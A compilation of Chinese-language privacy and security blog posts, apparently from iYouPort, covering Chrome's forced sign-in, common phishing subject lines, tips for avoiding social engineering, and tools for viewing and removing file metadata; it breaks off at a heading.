- 这一变化对用户隐私和信任产生了巨大影响，谷歌似乎无法解决这个问题；
- 这一变化使得 Google 自己的 Chrome 隐私权政策被改变；
- 谷歌正在停止其对客户信任的善待，就像信任是一种可再生资源似的，绝不是！信任只能被毁掉一次，永远不会再来一遍。

谷歌声明中给出的理由毫无意义

触发此自动登录行为的新功能称为“浏览器和 cookie jar 之间的身份一致性”（HN）。在 Twitter 上与两个独立的 Chrome 开发人员进行对话之后，我获得了以下理由：

「图」

「图」

要解释一下：如果您已经登录 Chrome，而您的朋友想用您的计算机，那么您可能会意外地将您朋友的 Google Cookie 上传到您的帐户中。我们想要避免这种情况发生，所以我们做出这一改变。

但请注意一下这个场景的关键部分。用户必须已经登录 Chrome，上述情况才会发生。因此，Chrome 开发团队实际上并没有解释用户必须登录 Chrome 的原因。

如果已经登录的用户可能会引发隐私危机，那为什么谷歌要强迫未登录的用户登录？

很多专家已经承认，新设计非常具有误导性，可以称之为黑暗模式。新界面显然隐藏了“一键式”操作，很难被发现。因此，你只需点击一下即可与 Google 分享所有信息，这可能会在任何时间点意外发生。

这一变化对隐私和信任产生了严重影响

Chrome 团队为这一变化提供了“单一防御”。他们指出，仅仅因为您的浏览器已“登录”并不意味着它将您的数据上传到 Google 的服务器。特别是：

虽然 *Chrome* 现在会在未经您同意的情况下登录您的 *Google* 帐户（如 *Gmail* 登录后），但*Chrome* 不会激活将数据发送给 *Google* 的“同步”功能。这需要额外的同意步骤。所以理论上你的数据应该是本地的。

这是我的意译。但由于几个原因，这种做法很疯狂：

用户同意很重要。十年来，Chrome 浏览器一直向我提出一个问题：“你想用你的谷歌帐户登录吗？”十年来我没有回应过，Chrome 仍然问我这个问题 – 但现在它不再尊重我的决定。

Chrome 开发人员希望我相信“这样会很好”，（拉倒吧）因为我仍然受到一个额外的同意护栏的保护。但是这里的问题很明显：

如果你们不尊重我对 Chrome 中最大的面向用户隐私选项的不同意（甚至没有通知我您已经停止尊重它！）为什么我应该相信你们给我的任何其他同意选项？

事实上，我甚至从未听说过 Chrome 的“同步”选项 – 原因很简单，由于一直了解谷歌的大规模数据收集，直到 2018 年9月我才开始登录 Chrome。现在我被迫学习这些新术语，并希望 Chrome 团队保证承诺将我的所有数据保持在本地状态，因为“登录”和“未登录”之间的障碍会逐渐消失。

Chrome 同步 UI 绝对是一种黑暗模式。现在我被迫登录 Chrome，我

面临着一个我以前从未见过的全新菜单。它看起来像这样：

「图」

「图」

那个大的蓝色长方形是否表示已经将我的数据同步到 Google 了？太吓人了！等等，也许这是一个同步的邀请？如果是这样，如果我偶然点击它会对我的数据产生什么影响？（我不会给出答案，您应该去了解，只要确保不会意外地在过程中上传所有数据。这可能会很快发生）

简而言之，谷歌已经将同意数据上传的问题从肯定的事实转变成了我实际上必须付出的努力 – 输入我的 Google 凭据并登录 Chrome – 进入我现在可以通过一次意外点击而进行的操作。这是一个黑暗的模式。无论是有意还是无意，它都可以让人们在不知情的情况下轻易激活同步。

"老大哥不需要真正看着你"。我们几乎把自己的一切都告诉网络浏览器了，包括连我们最好的朋友都不知道的事。是的，互联网一直在对我们进行间谍活动，但人们也同时认为这种间谍活动“无关紧要”，这并不像是有人站在我们的肩膀上，检查我们的每次点击。

但是，已经有许多研究表明，即使是你自己正在被监视着的意识也可以极大地增强用户的自我审查程度。用户是否还可以轻松浏览敏感信息 – 如果他们的姓名和头像总是被自动加载到浏览器的右上角？

据我们所知，即使你选择同步已关闭，新方法依然会产生隐私影响。Chrome 开发人员声称，如果关闭“同步” Chrome 不会对隐私产生任何影响。但是没有人能确定这点。

例如，如果我的浏览器已注销，那么我登录并启用“同步”，我的所有过去（已注销）数据是否都会被推送到 Google？如果我被迫登录、被打开“同步”，会发生什么？没有人能够完全告诉我在这些条件下上传的数据是否相同。这些差异真的非常非常重要。

这些更改会影响 **Chrome** 隐私权政策

Chrome 隐私政策是一个非常简单的文档。与大多数隐私政策不同，它显然是对 Chrome 用户的承诺 – 而不是通常的法律绕口令。在功能上，它描述了两种浏览模式：“基本浏览器模式”和“登录模式”。这俩模式具有非!常!不!同!的属性。请看这里：

「图」

「图」

在“基本浏览器模式”中，您的数据存储在本地。在“登录”模式下，您的数据会发送到 Google 的服务器。这很容易理解。如果您想要隐私，请不要登录；但是如果您的浏览器决定将您从一种模式切换到另一种模式，你自己做不了主，那么会发生什么？

从技术上讲，隐私政策仍然准确。如果您处于基本浏览模式，您的数据仍然存储在本地。问题是你不再能决定自己所处的模式。无论原始起草人有什么意图，这都是一种嘲弄。也许谷歌会更新该文档，以反映新“同步”区别？即便如此，有什么意义？

信任不是可再生资源

对于一家通过收集大量用户数据来维持自身的监视资本主义公司，谷歌一直在设法避免与 Facebook 类似的隐私纠纷。这绝不是因为谷歌收集的数据较少，而是谷歌一直对此更加谨慎。

Facebook 将定期更改隐私设置然后再道歉，谷歌坚持明确的隐私政策，它不会经常改变。当然，它会收集大量数据，但在 Google 明确提出用户安全和隐私承诺的情况下 – 它大部分时候可以看起来像是在遵守承诺。但那是曾经，现在一切都变了。

像这样的变化会对用户的信任产生很大的影响。如果变更正在为用户解决绝对严重的问题，那么失去信任可能是值得的，但现在并不是。

结论

即便是这么简单的问题依然有人反驳，反驳论点是这样：

谷歌已经通过 cookie 及其普遍的广告网络和合作伙伴关系窥探了你，所以它们迫使你的浏览器进入登录状态又有什么大不了的？

我认为这种反对意见在基本道德层面都是愚蠢的 —— 仅仅因为你已经侵犯了我的隐私并没有增加侵犯规模我就要默许你继续侵犯？并且客观上也是愚蠢的 —— 谷歌花费了数百万美元为 Chrome 和 Android 添加了额外的跟踪功能，他们不是为了好玩而这样做，他们这样做是因为他们很清楚地知道能产生他们想要的数据。

原文

远离诱饵!警惕 7 大最常见的网络钓鱼主题行 - iYouPort

自我保护措施-技术技巧以防身

社交工程学是很多行动的基本功，这其中既包括正义行动、也包括威胁攻击，这是一个技术和心理学完美结合的领域。但目前的状况是，其在攻击方面的使用远远高于正义行动，并由此对追求正义的人们构成了严重的威胁。IYP 对社交工程学的演示和分析大部分以协助防御为目的，先做好自我保护，才有能力回击

「图」

「图」

如下文列出的“延伸阅读”表单，IYP 已经介绍过很多关于网络钓鱼 — 社交工程攻击 — 的技巧和注意事项。本文可作为一个大略的归总：列出诱饵的基本特征，再次强调应该在哪些方面予以重视。

如今，我们的电子邮件和社交媒体交流中正潜伏着各种各样网络钓鱼骗局。即便是你现在没有发现，那么也许明天或者是后天……总有一天会遭遇。遭遇网络钓鱼不仅仅有财产损失、家庭破裂、人身威胁等常见灾难，并且，随着社交工程学正在被全球阴暗政府利用来针对任何政权不喜欢的人发起攻击，一旦不留神，你将很有可能被抓捕入狱，遭受酷刑折磨。

因为任何高端的间谍软件能否顺利投入使用的关键就在于，吸引目标人的一个点击动作。

- 延伸阅读：当局对钓鱼网站进行了大规模的升级，以便向所有访问者发送恶意软件，不分青红皂白地针对访问这些网站的个人进行识别和跟踪！看看美国、中国和墨西哥政府正在如何利用社交工程学实施网络钓鱼《执法部门正在大力投资骇客技术，用于攻击他们想要的一切人》

研究人员发表的报告声明：电子邮件中的网络钓鱼骗局已经变得越来越难以阻止，攻击者正在创新和完善他们的诱饵，使网络钓鱼更逼真从而对用户更具吸引力和说服力。

Webroot 公司首席信息安全官 Gary Hayslip 表示：虽然用户越来越警惕各种钓鱼诈骗的攻击，各种防网络钓鱼软件也不少，但还是不能阻挡各种各样的钓鱼诈骗攻击。正所谓“道高一尺魔高一丈”，网络钓鱼攻击依旧通过各种方式，来骗取个人用户和企业的信息。

- 延伸阅读：《"网络战：!社交工程学正被全球当权者利用来攻击活动家、异议人士和记者，如何抵御？"》
- 《"人性弱点能摧毁一切防火墙：社交工程攻击实践，以及你必须在乎的问题"》
- 《"用“眼”识人：你想知道自己在一个“间谍”的眼中是什么样吗？"》
- 《"如何让一个人心甘情愿吐露重要信息？ — — 社交工程攻击“诱导的艺术”"》
- 《"挡不住的秘密就在你不知不觉中被暴露：社交工程学攻击实践"》
- 《"投票系统供应商泄漏电邮地址被俄罗斯骇客用于钓鱼攻击，但却为何否认？"》
- 《"反侦察：除技术之外你还应该注意诸多重要的细节问题"》
- 《"如何检测您是否正在受到监视？ — — 监视检测和特殊保护行动"》
- 《"现实生活中遍地都是可利用的信息：社交工程学侦查实践"》
- 《"语言是强大的武器 — — 如何使用它？社交工程攻击演示继续：致命的诱导"》
- 《"当恶意软件伪装网购物流：来自政府的社交工程攻击总能让你防不胜防"》
- 《⚠ 渔艺正在升级：**URSNIF** 恶意软件新变种通过回复邮件即可实现传播》

Hayslip表示：

> “我觉得电子邮件中的网络钓鱼骗局已经到了普遍存在的地步。用户现在也习惯下意识地点击查看网络钓鱼电子邮件，即便他们明知不应该这么做。这就是攻击者利用人性来实施攻击活动的可怕之处！”

人们总是充满好奇心和同情心，渴望通过自己的力量来帮助有需要的

人，而这两种品质正是他们易受网络钓鱼攻击的根源所在。当他们中招了以后，他们又习惯用“我当时忙糊涂了”“我忘了”“我本应该知道这是钓鱼邮件的”等诸多借口，来推脱自己打来恶意电子邮件的错误行为。

Hayslip补充道：

> “无论你采用多少技术手段和工具来阻止它们，它们总有办法成功欺骗用户”。

近日，Webroot 公司扫描了过去18个月内的成千上万封网络钓鱼电子邮件，以了解有关针对特定目标的常见主题行的发展趋势。Hayslip 向全美约100名首席信息安全官展示了此次调查结果，并了解到：“很多人都会收到类似的邮件”。在网络钓鱼电子邮件中经常可以看到与财务有关的消息和紧急通知，尽管是在不同的主题之下。

Cofense（前身为 PhishMe）的网络安全战略家 John“Lex”Robinson 回应了 Hayslip 的观点，并表示攻击者对于他们发送的电子邮件的背景以及他们的攻击目标，已经有了越来越深地了解。他说：

> “如果把我们今天的沟通方式（包含许多流行语）与*15*年前、*20*年前甚至*30*年前相比，可能就显得不那么通俗了。但是网络钓鱼邮件要求的从来都不是通俗，而是要与商业行话保持一致。”

以下是一些*最常见*的网络钓鱼主题行，并向大家展示它们所包含的信息，以及它们所揭示的攻击者的目标和策略等内容。

1. 紧急求助

当攻击者不希望目标犹豫不决时，他们就会在主题行中传达一种紧迫感，因为他们希望你能够快速做出决定。

也许该钓鱼邮件不会直接说“紧急求助”，而是选择言语之间存在类似的暗示。Hayslip 表示，作为一名首席信息安全官，他就经常会看到人们因为想要提供帮助而中招，而且重要的是，很多受害者的心理活动是，并不想因为没有采取某些可能很重要的行动而受到惩罚。对于这种情况，Hayslip 特意告诉员工：

> “我宁愿你去寻求专业帮助，也不愿你因为做错事而陷入困境。我建议你可以忽略任何在主题行中言及‘紧急’字眼的未知邮件。因为真的紧急的事情可以

> 通过很多其他更高效的途径来解决，例如打电话。”

2. 发票

在 Cofense 检测到的 “Top10 网络钓鱼邮件主题行” 中，“发票”一词就独占6大主题行（只是表达方式有所差异），这也说明在考虑网络钓鱼主题时，财务动机仍然处于主导地位。

在谈及 Cofense 追踪到的最常见的网络钓鱼骗局时，Robinson 表示：

> “对我来说，最有意思的是绝大多数网络钓鱼骗局都涉及金钱主题。很显然，金钱对每个人来说都是一个极具刺激性的话题……当你有了这样一个极具刺激性的话题时，就能立即引起人们的兴趣。”

虽然前6个骗局的具体消息内容有所不同，但所有人都试图用“发票”一词作为主题来吸引他们的目标。金钱是一个强大的动力，攻击者很清楚地知道这一点，并且正在利用它来击垮人们的心理防线。根据数据显示，在 Cofense 扫描的网络钓鱼电子邮件中，大约有 100,000 个电子邮件是利用“发票”一词作为主题的。

Cofense 研究人员还发现，“付款汇款”是另一个受欢迎的标题，其使用量也超过了 40,000 封电子邮件。同时，“声明”和“付款”也是非常受欢迎的主题。

WebRoot 则发现，“电汇”也是一种常见的选择，当然还有一些电子邮件会更具体：“您最近的 Chase 付款通知”是另一个受欢迎的财务主题。

需要注意的是，不要以为网络钓鱼欺诈只会发生在没有上网经验的人身上，即使是互联网公司也会遭到电汇诈骗，而且诈骗数额不小，已经达到数百万美元。

谷歌和 Facebook 的会计部门电脑上由于被安装了恶意软件，通过查阅它们的转账记录瞄准了一个开发商，开了数百万美元的发票。虽然事后经过执法机关的努力，追回了损失；但其他公司就不会这么幸运了，2016 年价值 30 亿美元被电汇诈骗，绝大部分都无法追回。

3. 银行通知

Hayslip 表示，针对公司高管的经济动机网络钓鱼攻击，往往需要攻

击者付出更多的努力和研究，以及更为严谨的措辞和语法。他解释称：

> “我认为，这就是‘捕鲸攻击’（*whaling attacks*）和普通的网络钓鱼攻击之间的区别。所谓“捕鲸攻击”，实际上是一种欺诈类型，钓鱼者找到某个公司高层或高管团队的姓名和电子邮件地址（此类信息通常会在网页上免费提供），并撰写与这些人员及其公司职位相称的电子邮件。这些电子邮件会试图诱使高管们单击某个链接并访问某个网站，在此恶意软件会下载到其计算机中，并复制按键记录或搜出敏感信息或公司机密。”

针对高级员工实施网络钓鱼活动的攻击者，会希望其钓鱼邮件信息尽可能真实。他们可能会向行政助理发送包含特定银行名称或“紧急协助”信号的欺诈性电子邮件。他们会先对目标机构所选择的银行进行研究，并尝试模仿银行发布的通知信息。

此外，攻击者还可能会联系助理，称他们的 CEO 或 CFO 正在旅行并遇到了一些财务问题，需要经济上的帮助，并利用诸如此类的借口来证明资产转移的合理性和可信性。

4.账户验证

这一主题行与直接的经济收益关系不大，但与知识产权盗窃存在很大关联。这种类型的攻击通常会进行凭证钓鱼（credential phishing），为了在目标网络内获取立足点。

许多线上服务都需要有凭证作为确认服务真实性的基础，但是凭证钓鱼就会企图获取线上服务的凭证，因此，凭证一旦遭窃，攻击者就可以直接获取所需的各类信息，包括使用者的账号、密码等等。

在进行凭证钓鱼时，就需要通过“账户验证”之类的请求来引诱你进入登录页面以验证你的凭证。因为在一系列后续活动中，攻击者需要获取到你的用户名和密码等数据，而想要获取这些信息，就可能涉及冒充您经常使用的品牌发送“账户验证”主题的钓鱼邮件。

5.拷贝或文档拷贝

虽然恶意链接在钓鱼电子邮件中日益普遍，但 Robinson 认为，附件也仍然很受欢迎，且十分有效，尤其是与发票、付款通知和声明相关

的电子邮件，或者是在线订购和结算相关的警报中。

这符合攻击者提高他们对业务环境的理解的趋势。因为如果他们知道员工经常发送文件的事实，就会知道恶意电子表格或 Word 文件形式的附件是合理的。越来越多的附件，以及将宏视为主要交付方式的事实，均表明攻击者越来越善于理解业务环境，以至于他们清楚地知道在网络钓鱼电子邮件中放入什么内容才是正常的。

此外，许多网络钓鱼邮件的主题都非常短，甚至只有一两个字。这也表明攻击者理解现代商业沟通的方式是相对非正式的。因为商业环境中的人奔波忙碌，不必设置非常正式、具体的主题。

就该主题而言，创建标准的沟通流程和政策可以帮助组织有效地防御这种形式的网络钓鱼攻击。组织可以向员工展示这些电子邮件应该来自哪里，以及它们应该采取何种格式，以便他们能够及时发现欺诈性邮件。

6. 行动请求，如“支付卖家尾款”

目标往往会轻信此类钓鱼邮件主题。在电子邮件中采用“我们需要您这样做”相关的主题行，往往能够成功地诱使目标完成攻击者需要他们完成的任何事情。

调查数据也指出，在面对与“行动请求”相关的主题时，人们实际上确实是这样做的 — — 在与“行动请求”相关的钓鱼邮件中，恶意链接的点击率高达约 40%，攻击者会将受害者重定向到虚假的人力资源网站，以窃取其登录凭证。受害者在被骗后会悔悟称，“我知道我当时不应该那样做。”

在过去一年中，攻击者已经从使用恶意附件转化为嵌入恶意链接。如今，大多数网络钓鱼电子邮件中都包含恶意链接，并且从表面看来，受害者越来越难以判断这些链接是否可以安全点击。因为在过去，他们可以将鼠标悬停在一个链接上来查看它是否可疑；但是随着攻击者的技能升级，这种方式如今已经起不了作用了。

7.亚马逊/淘宝等网购：您的订单 **# 812–4623** 可能已到达

这就是我们曾经演示过的以色列公司 NSO 著名间谍软件攻击流亡异议人士时所使用的方法，在这里看到案例描述。

Hayslip 指出，这种类型的网络钓鱼电子邮件通常会在假日期间出现（比如马上就要到来的双11盛典）。他解释称，每逢重大节假日，各

类商家都会向目标客户发送大量打折促销、快递动态等邮件，这时候，钓鱼电子邮件也就伺机而动了。

此外，一些特定类型的攻击还会在一年中的不同时间段出现：例如，金融和财务相关的骗局会在税收季到来时泛滥；而在圣诞节期间就会出现“支付”相关的欺诈性消息。

Hayslip 补充道，该消息也可能并不会特别提及包裹是否已经到达，它可能会以您最近购买东西的收据为诱饵，并附带恶意附件。

经常在网上购物的人，很大机会会毫不犹豫地点击这些电子邮件，以查看其中的内容确定自己买的什么东西，何时能够到达等等。当然，他们也就会毫不犹豫地点击其中的恶意链接来查看他们多订购的商品，而当他们发现自己的设备已经感染恶意软件时，早已悔之晚矣。

🔐 用户应该如何警惕钓鱼邮件？

1. 避免开启来路不明的电子邮件及文件，安装杀毒软件并及时升级病毒知识库和操作系统补丁，将敏感信息输入隐私保护，打开个人防火墙；

2. 对要求重新输入账号信息，否则将停掉信用卡账号之类的邮件不予理睬；

3. 尤为重要的是不要回复或者点击邮件的链接，如果你想核实电子邮件的信息，使用电话，而非鼠标；若想访问某个公司的网站，使用浏览器直接访问，而非点击邮件中的链接；

4. 留意网址–多数合法网站的网址相对较短，通常以.com或者.gov结尾，仿冒网站的地址通常较长，只是在其中包括合法的企业名字(甚至根本不包含)；

5. 不同账号使用不同口令，不要使用同样的口令；

6. 不要使用很简单的口令，(如000000、生日等)；

7. 更妥善的办法就是：把危险隔离出去，在这里看到详细方案《"❗如何隔离危险"》

以上肯定不是全部，随着这些防御基本技巧被披露，攻击者肯定会另辟新途径卷土重来。但很多思路明显会大同小异。所以，一方面我们应该时刻警惕新的技术和攻击案例的披露，另一方面，对于 IYP 提供

给的技巧，您应该可以灵活使用。还是那句话：如果不想被黑，那就要像骇客一样思考。■

原文

避免成为社交工程受害者的方法可以很简单 - iYouPort

自我保护措施-技术技巧以防身

随着监视软件的极速扩张和极少遇阻的全球监视技术交易的流行，社交工程攻击已经广泛被专制政府所采纳，用来欺骗人权活动家、记者和异议人士上勾。欺骗伎俩过一段时间就需要更新一次，因为恶意行为者总是具有极高的创新能力。怎么办？

IYP已经介绍过很多有关社交工程的技巧，您可以在我们的共享文档中看到关于这个议题的归总栏目。

事实上欺骗伎俩过一段时间就需要更新一次，因为恶意行为者总是具有极高的创新能力，他们紧密关注防御者的思考，以突破这些思考为目的。

「图」

「图」

当然，我们也在紧密关注他们。您可以通过紧密关注我们的更新提示以获得最新防御方法。

社交工程是恶意行为者试图操纵他人泄露信息然后用来执行攻击的最有效地方。他们通常使用技术，以便他们可以远程执行这些攻击，例如通过电话、电子邮件、社交媒体、即时消息甚至搜索引擎结果。公司或个人都可以成为目标，因此每个人都是潜在的受害者—— 尤其是近年来随着监视软件的极速扩张和极少遇阻的全球监视技术交易的流行，社交工程攻击已经广泛被专制政府所采纳，用来欺骗人权活动家、记者和异议人士上勾。

远程社交工程可以以多种方式发生，例如; 电话、PC上的弹出消息、电子邮件或短信等。它已经比近距离攻击的可能性高数倍。

- 攻击者提供一些虚假信息，欺骗目标将其视为合法信息并采取行动，通常导致支付您不需要的东西。比如声称你的PC有病毒或者你已经赢得了一些钱而且你通常被要求先支付一笔钱的那种恶作剧。比较常见，也是相比下危险性最低的，因为你最多只会损失钱和带来一些麻烦。
- 网络钓鱼是一种基于虚假陈述的攻击，攻击者伪装成合法来源，希望获得敏感或机密信息。也是比较危险的。一些常见例子是来自您银行的电子邮件，要求您验证详细信息，或伪造来电显示，假装是来自您信任的公司（包括您自己的公司）的电话，要求您泄露机密信息（如密码）。
- 垃圾邮件也是一种常见攻击，包括未请求的电子邮件、电话或短信。垃圾邮件通常与群发给大众的电子邮件或短信相关，但使用自动拨号系统进行冷呼叫的也是垃圾邮件。垃圾邮件的用意差别很大，但通常与网络钓鱼或恶意软件相关，其中最低端的只会让你损失钱，最高端的会危机生命，就像被残害的沙特记者案中发生的那种。

电子设备上的——

诈骗者可以尝试引诱您点击在博客或其他您可能访问的网站上弹出的消息，并且，不要真正的相信搜索引擎，搜索引擎优化非常简单，令搜索结果显示恶意网站并不难。

这类攻击使用的是人类的贪婪或阴谋论倾向来吸引你。比如“你是我们的千位访问者，点击此处申领你的奖品”，或者他们会使用恐吓的策略，例如在你的电脑上弹出识别病毒的信息，“点击此处运行完整的病毒扫描”。如果您不点击它们，它们通常无法感染您的计算机，因为大多数（但不是全部）恶意软件都需要用户操作才能安装。

要知道，有些网站只是通过访问它们就会感染您的计算机，如果您不让您的浏览器保持最新状态的话就是非常危险的。

您可以免费获得 McAfee SiteAdvisor，并将其嵌入到您的搜索引擎结果中，以显示哪些网站已经过测试。如果您有 live 版（目前为14.99英镑），就可以将其设置为自动阻止您访问网络钓鱼站点或其他已被识别为可能不良的站点。

电子邮件中的——

攻击者发送声称来自您的所属银行、税务局或商业组织的电子邮件，希望获得您的信用卡或银行详细信息。也可能是希望您提供其他个人

详细信息，其目的都是很致命的。

如果您收到一封您怀疑是恶作剧、垃圾邮件或网络钓鱼尝试的电子邮件，请将其报告给防病毒/反垃圾邮件功能，如果您知道在哪里报告垃圾邮件也可以转发给他们，以便他们了解该攻击。和国际互联网权利组织合作很重要，比如公民实验室、EFF等，他们的联系方式就在网站上。

银行或任何其他信誉良好的公司一般不会要求您打开附件或点击链接。他们唯一一次向您发送链接的情况是您已经请求某些内容（例如简报）或在其网站上采取行动（例如忘记密码的功能）。如果您意外地点击链接，请立即关闭浏览器，在访问公司的合法网站（而非网络钓鱼网站）之前检查您的设备是否存在恶意软件，检查是否需要采取任何措施。

电话里的——

攻击者会试图让你购买服务或其他东西，这些手段也可能来自那些营销手法不怎么样的合法公司（我将冷呼叫视为一种糟糕的营销行为）。

另一种类型的攻击直接针对公司，并且呼叫者会假装来自该公司以获取机密信息。这被称为鱼叉式网络钓鱼，员工应始终了解这些类型的攻击，不应通过电话提供任何非公开信息。董事们特别容易受到鱼叉式网络钓鱼攻击的攻击，因为他们往往是跳过公司安全培训课程的人。

除非您的内部电话系统显示来自办公室另一部分机的呼叫，否则最好怀疑每一次电话。一种策略是询问他们的姓名和分机，告诉他们你现在不方便，一会儿再打过去，然后通过内部电话清单检查对方是否属实。这是避免伪造来电显示的攻击方法。

其他类型的攻击——

Facebook 或 Twitter 等社交媒体网站或 IM / SMS 消息攻击都有一个共同点，它们都可以先提供一部分关于你的个人或机密信息以形成对你的引诱，这可以通过首先与您相关联的另一个主题来巧妙地完成，以尝试获得您的信任，因此我建议最好的办法就是不回应。

你不一定知道哪些真的是你的社交哪些不是，但应该知道自己的朋友是谁，尤其是那些关系已建立多年的朋友。在 Facebook 上，只接受

你认识的人（即朋友和家人）的朋友请求，只点击那些人或关注的公司的帖子中的链接。小心缩短链接（特别是在Twitter上）它们很容易导致你不知道会被重定向到哪里。

避免远程社交工程的提示——

- 确保使用最新的安全更新，浏览器和反恶意软件套件应该是最新的；
- 在您的PC上使用安全搜索，不要访问有风险的网站，并对未经检查的网站非常小心；
- 除非您提出要求，否则切勿打开电子邮件附件或点击电子邮件中的链接（即使他们看起来像是来自朋友或专业组织）；
- 永远不要相信打电话的人是他们所说的人—询问他们的身份，获得他们声称的组织的官方电话号码，然后重拨打给他们；
- 永远不要从刺激你兴奋的人那里买任何东西—无论你是否真的对他们卖的东西感兴趣。做好自己的研究，并在准备好时从你想要的人那里购买；
- 如果是不了解的人，就忽略他们的朋友请求、IM 或短信。在决定与他们互动之前，请查看该人在社交媒体上发布的其他帖子，做综合分析，这点我们详细介绍过；
- 不要盲目相信那些你不认识的人在社交媒体上发布的缩短链接，它们可能是隐藏了一个恶意网站的链接；
- 总之，时刻记住，没有什么是免费的。不要小瞧自己，你认为是很简单的东西有可能对攻击者来说非常珍贵。他们之所以来找你就是因为你值钱。

事实上，我们已经发现更严重的一件事，那就是中国的一些异议人士对安全保护的理解不充分—只理解了一半，他们会很警惕一切链接，怀疑所有人。让自己时刻保持警惕是必要的，但是，如果回避一切肯定会首先失去互联网的最大价值即知识共享。之所以称之为更严重，是因为这种焦虑的气氛导致的难以联合合作相比攻击的危害一点不差。

您完全可以使用一些极其简单的方法就能避免恶意链接攻击，我们曾经介绍过，详见《如何把危险隔离出去》。

与大多数内容网站不同，***IYP*** 没有付费墙、不会投放广告、也不会出卖您的信息；我们需要您的支持来获得生存。如果您觉得我们提供的内容对您有用，您可以帮助我们活下去。谢谢！***PayPal*** 和 比特币捐助通道已开通，您可以在网页上找到两个浅橙色按钮

原文

都是工具，从自我保护到有效利用 —— 亦正亦邪元数据 (下篇) 熟练使用它们是数字公民的基本功 - iYouPort

自我保护措施-技术技巧以防身

以赴死为目标的战斗不是英勇。 胜利需要在保全自己的同时打击对手。 绝大多数武器都是亦正亦邪的，你要做的就是充分利用它们、并避免它们被你的对手所利用。

「图」

「图」

继续昨天的话题。

使用元数据

为了更好地理解如何使用元数据和围绕元数据，重要的是要在实践中知道提到元数据时通常意味着什么。

下面是可以与不同类型的数据一起存储的元数据列表：

图片

- 如果使用 GPS 功能设备（如智能手机）拍摄照片的位置（纬度和经度坐标）；
- 相机设置，如 ISO 感光度、快门速度、焦距、光圈、白平衡、镜头类型等（请注意，有些相机确实包含位置坐标）；
- 相机或智能手机的型号；
- 拍摄照片的日期和时间；
- 用于编辑照片的程序的名称；

PDF 文件

- 作者姓名，通常是首次安装用于创建文件的程序时分配的名称；
- 用于创建文件的程序的版本和名称；
- 文件的标题；
- 某些关键字；
- 文件创建/上次修改的日期和时间；
- 文本文件；

根据用于创建文档的程序，数据可能包括

- 所有不同作者的名字；
- 在以前版本的文档中删除的文本和注释行；
- 创建和修改日期；

影片

视频文件中的元数据可分为两部分：

- 自动生成的元数据：创建日期，大小，格式，编解码器，持续时间，位置；
- 手动添加的元数据：有关素材的信息，文本转录，标签，更多信息以及编辑的注释等等；
- 推荐阅读：全面了解视频元数据并与 WITNESS 合作。

音频

音频元数据类似于视频，但更广泛地用于注册文件的属性。除此之外，还可以包括：创建日期，大小，格式，编解码器，持续时间和一组手动添加的数据，如标签，艺术家信息，艺术作品，评论，专辑中的曲目编号，流派等等。

通讯

通信中的元数据取决于所使用的通信类型（即电子邮件，移动电话，智能手机……等）。但总的来说，它可以揭示以下内容（如果没有使用隐藏元数据的工具的话）：

- 发送者和接收者的 ID；
- 沟通的日期和时间；
- 地点；
- 沟通方式..等等；

工具

有多种方法可以从文件中提取元数据。选项因操作系统而异，从工具到插件，再到桌面版本或浏览器内工具。

免责声明：⚠ 使用在线平台提取元数据时，牢记数字隐私和安全非常重要。没有足够的信息来保证流程的机密性。这些平台可能会跟踪您的在线行为，存储您的数据或与第三方或当局共享。⚠

有各种方法可以揭示或查看元数据，这些方法和工具将在后面详细介绍。有些工具可以读取内置文件信息的元数据（例如 Photoshop），这意味着它们将以其格式显示数据。其他的则有更详细的输出。

虽然在创建文件后可以删除或更改元数据，但在创建文件之前考虑某些元素是明智的。例如，建议您更改手机上的设置，使用某些应用程序，修改所用软件的用户详细信息等。以下是使用智能手机相机的两个示例。

图 A：使用 CyanogenMod 的 Android 手机拍摄的照片。不显示地理位置或使用的手机类型：

「图」

「图」

图 B：用 iPhone 拍摄的照片。请注意显示的额外详细信息，包括地址、电话类型、相机类型和使用的程序。

「图」

「图」

元数据工具

有各种用于查看元数据的工具，工具的选择可能取决于您的目标是什么。除了包含元数据功能的软件（如 Photoshop，Adobe Acrobat 等）之外，下面是查看元数据的工具列表。

⚠免责声明：请注意，要提取和编辑元数据，某些在线平台可能会跟踪您的在线行为，存储您的数据或与第三方或当局共享。牢记数字隐私和安全非常重要。没有足够的信息来保证流程的机密性。⚠

Phil Harvey 的 ExifTool

- 兼容性：Windows，Mac OS 和 Linux
- 专有状态：免费和开源
- 类型：桌面

强烈建议使用此工具，但可能需要一些工作才能导航，因为它依赖于命令行。然而，它涵盖的文件格式和它给出的结果是相当全面的。**ExifTool** 允许用户读取、编写和编辑元数据。该工具的网站提供信息、下载和解决方法。

Jeffrey's Exif Viewer

- 兼容性：在线，没有兼容性问题
- 类型：通过浏览器在线使用

这是一个基于 Phil Harvey 的 ExifTool 的在线工具，可以选择上传图像或在线使用图像的 URL。它确实提供了一个添加到 Mozilla 或 Safari 的按钮，允许快捷方式更快地提取元数据。

Exifer

- 兼容性：在线，没有兼容性问题
- 类型：通过浏览器在线使用

这是一款基于 Phil Harvey 的 ExifTool 的在线工具。它可以直接访问 DropBox，Flickr 和 Google Drive。用户可以从 Exifer 网站登录并直接从那里编辑图像。Exifer 有一个隐私声明："图片将被临时下载，只是为了让你编辑它们。一旦您刷新本网站的主页，临时文件将被删除，或者在下载时间 15 分钟后自动删除。"

Read Exifdata

- 兼容性：在线，没有兼容性问题
- 类型：通过浏览器在线使用

这是一个在线工具，可让您上传图片或粘贴 URL。虽然它允许用户匿名访问和使用网站，但值得一看的是，他们在网站上发布的隐私政策，详细说明了他们和其他第三方在平台上收集的数据类型。

"CameraV"

- 兼容性：Android 手机
- 专有状态：免费和开源
- 类型：手机

这个我们已经多次提到了。CameraV 是由卫报项目和 WITNESS 创建的移动应用程序。应用程序名称中的 V 代表验证，它是为了向照片或视频添加大量额外元数据而创建的，以验证其真实性。这个软件做了两件事。首先，它描述了图像和视频的人物，内容，时间，地点，原因和方式。其次，它建立了一个可以在法庭上指出的监管链。对于公民记者取证来说，非常好用。

Metadata En Masse

- 兼容性：Linux，Mac OS
- 专有状态：免费和开源
- 类型：桌面

正如其名字所示，该脚本允许从大量图像中提取地理定位元数据。在处理大量图像时，它可以节省宝贵的时间。由 Exposing the Invisible 团队成员编写的脚本应放在名为 geobatch.rb 的文件中，并在包含其中所有图像的文件夹中运行。

"TrashEXIF"

- 兼容性：Mac OS
- 类型：手机

TrashEXIF 是一款 iPhone 应用程序，允许用户从图像中删除所有元数据或控制应删除或保留哪些元数据。该应用程序还允许预设应用于所有拍摄图像的协议。

删除元数据

有多种方法可以从文件中删除元数据。以下是来自 Security in-a-Box 工具包的一些建议。

先发制人

